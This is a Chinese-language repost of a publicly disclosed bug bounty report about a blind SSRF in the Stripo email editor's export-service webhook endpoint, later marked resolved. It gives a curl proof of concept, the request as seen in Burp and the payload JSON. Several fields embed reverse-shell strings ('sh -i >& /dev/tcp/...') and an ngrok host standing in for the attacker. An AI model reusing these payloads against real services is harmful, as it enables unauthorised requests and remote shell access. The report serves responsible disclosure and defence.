Stripo电子邮件编辑器中发现关键盲SSRF漏洞,可导致服务器发起任意请求

本文披露了在Stripo电子邮件编辑器的导出服务中发现的一个严重盲SSRF漏洞。攻击者可利用特定API端点,通过恶意构造的webhookUrl参数,诱使服务器向内部或外部系统发起未经授权的HTTP请求,可能导致数据泄露和内部资源访问。

漏洞概述

本报告涉及在Stripo导出服务中发现的一个关键的盲SSRF(服务器端请求伪造)漏洞。SSRF漏洞允许攻击者操控服务器向内部或外部系统发起任意请求,可能导致严重的安全破坏。该漏洞存在于端点 /exportservice/v3/exports/WEBHOOK/accounts。通过在 webhookUrl 参数中提供恶意输入,攻击者可以触发SSRF,使服务器向攻击者控制的系统发起未经授权的HTTP请求。

漏洞利用细节

概念验证 (PoC)

以下curl命令演示了该漏洞的利用方式:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
curl -i -X POST 'https://my.stripo.email/bapi/exportservice/v3/exports/WEBHOOK/accounts/52027412' \
--data '{
  "id": 52027412,
  "name": "sh -i & devtcp192.168.100.3 0&1",
  "oAuthRequired": false,
  "authLink": null,
  "draft": false,
  "destination": "WEBHOOK",
  "properties": {
    "headers": [
      {
        "name": "sh -i >& /dev/tcp/192.168.100.3/9001 0>&1",
        "value": "sh -i >& /dev/tcp/192.168.100.3/9001 0>&1"
      }
    ],
    "accountName": "sh -i & devtcpbe7e-101-255-157-9.ngrok-free.app9001 0&1",
    "webhookUrl": "https://cd7c-101-255-157-9.ngrok-free.app/sh -i & devtcpbe7e-101-255-157-9.ngrok-free.app9001 0&1",
    "webhookType": "CUSTOM"
  },
  "public": false
}'

生成的HTTP请求

处理时,应用程序会向指定的 webhookUrl 生成以下HTTP请求:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
POST /webhook/sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.100.3%2F9001%200%3E%261/ HTTP/1.1
Host: 5290-101-255-157-9.ngrok-free.app
User-Agent: Apache-HttpClient/4.5.14 (Java/21.0.5)
Content-Length: 104
Accept: application/json
Accept-Encoding: gzip,deflate
Traceparent: 00-58ae5f178436f516dfed5bcabe66e0a4-6f1c4d73cae918b9-00
X-Forwarded-For: 54.247.167.106
X-Forwarded-Host: 5290-101-255-157-9.ngrok-free.app
X-Forwarded-Proto: https

通过Burp Suite发起的HTTP请求

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /bapi/exportservice/v3/exports/WEBHOOK/accounts/52027412 HTTP/1.1
Host: my.stripo.email
Content-Type: application/json
Content-Length: 457

{
  "id": 52027412,
  "name": "sh -i & devtcp192.168.100.3 0&1",
  "oAuthRequired": false,
  "authLink": null,
  "draft": false,
  "destination": "WEBHOOK",
  "properties": {
    "headers": [
      {
        "name": "sh -i >& /dev/tcp/192.168.100.3/9001 0>&1",
        "value": "sh -i >& /dev/tcp/192.168.100.3/9001 0>&1"
      }
    ],
    "accountName": "sh -i & devtcpbe7e-101-255-157-9.ngrok-free.app9001 0&1",
    "webhookUrl": "https://cd7c-101-255-157-9.ngrok-free.app/sh -i & devtcpbe7e-101-255-157-9.ngrok-free.app9001 0&1",
    "webhookType": "CUSTOM"
  },
  "public": false
}

攻击载荷

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
{
 "id": 52027412,
 "name": "sh -i & devtcp192.168.100.3 0&1",
 "oAuthRequired": false,
 "authLink": null,
 "draft": false,
 "destination": "WEBHOOK",
 "properties": {
 "headers": [
 {
 "name": "sh -i >& /dev/tcp/192.168.100.3/9001 0>&1",
 "value": "sh -i >& /dev/tcp/192.168.100.3/9001 0>&1"
 }
 ],
 "accountName": "sh -i & devtcpbe7e-101-255-157-9.ngrok-free.app9001 0&1",
 "webhookUrl": "https://cd7c-101-255-157-9.ngrok-free.app/sh -i & devtcpbe7e-101-255-157-9.ngrok-free.app9001 0&1",
 "webhookType": "CUSTOM"
 },
 "public": false
}

附件: StripoPOC.mkv (F3939737)

影响

  • 数据泄露: 攻击者可以利用SSRF访问敏感的内部网络数据,如云元数据、内部API端点或其他受限服务。还可能进行端口扫描。
  • 内部资源访问: 盲SSRF允许访问内部服务或端点,绕过网络限制。
  • 链式攻击: 可能导致进一步的利用,例如检索敏感元数据或执行远程命令。

处理时间线

  • 2025年1月13日,00:09 UTC: odaysec 向 Stripo Inc 提交报告。
  • 2025年1月21日,10:56 UTC: Stripo Inc 员工 nikandrov_nikolai 将状态更改为 已处理(Triaged),并回复:“非常感谢这份报告和你的贡献。我已为团队创建了任务以尽快解决此问题。致意,Stripo 开发团队”。
  • 2025年4月23日,07:10 UTC: 报告者 odaysec 跟进,表示已复检端点 /bapi/exportservice/v3/exports/webhook/accounts/{uid},问题似乎已被修复,询问是否可将报告标记为已解决。
  • 2025年4月23日,09:36 UTC: nikandrov_nikolai 关闭报告并将状态改为 已解决(Resolved)
  • 2025年4月23日,10:05 UTC: odaysec 请求公开此报告。
  • 2025年4月23日稍后: nikandrov_nikolai 同意公开此报告。
  • 3天前(相对于报告披露时间): 此报告被公开。

报告信息

  • 报告ID: #2932960
  • 状态: 已解决
  • 严重等级: 严重 (9 ~ 10)
  • 公开日期: 2025年12月1日,08:22 UTC
  • 漏洞类型: 服务器端请求伪造 (SSRF)
  • CVE ID:
  • 赏金: 隐藏
  • 账户详情:
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计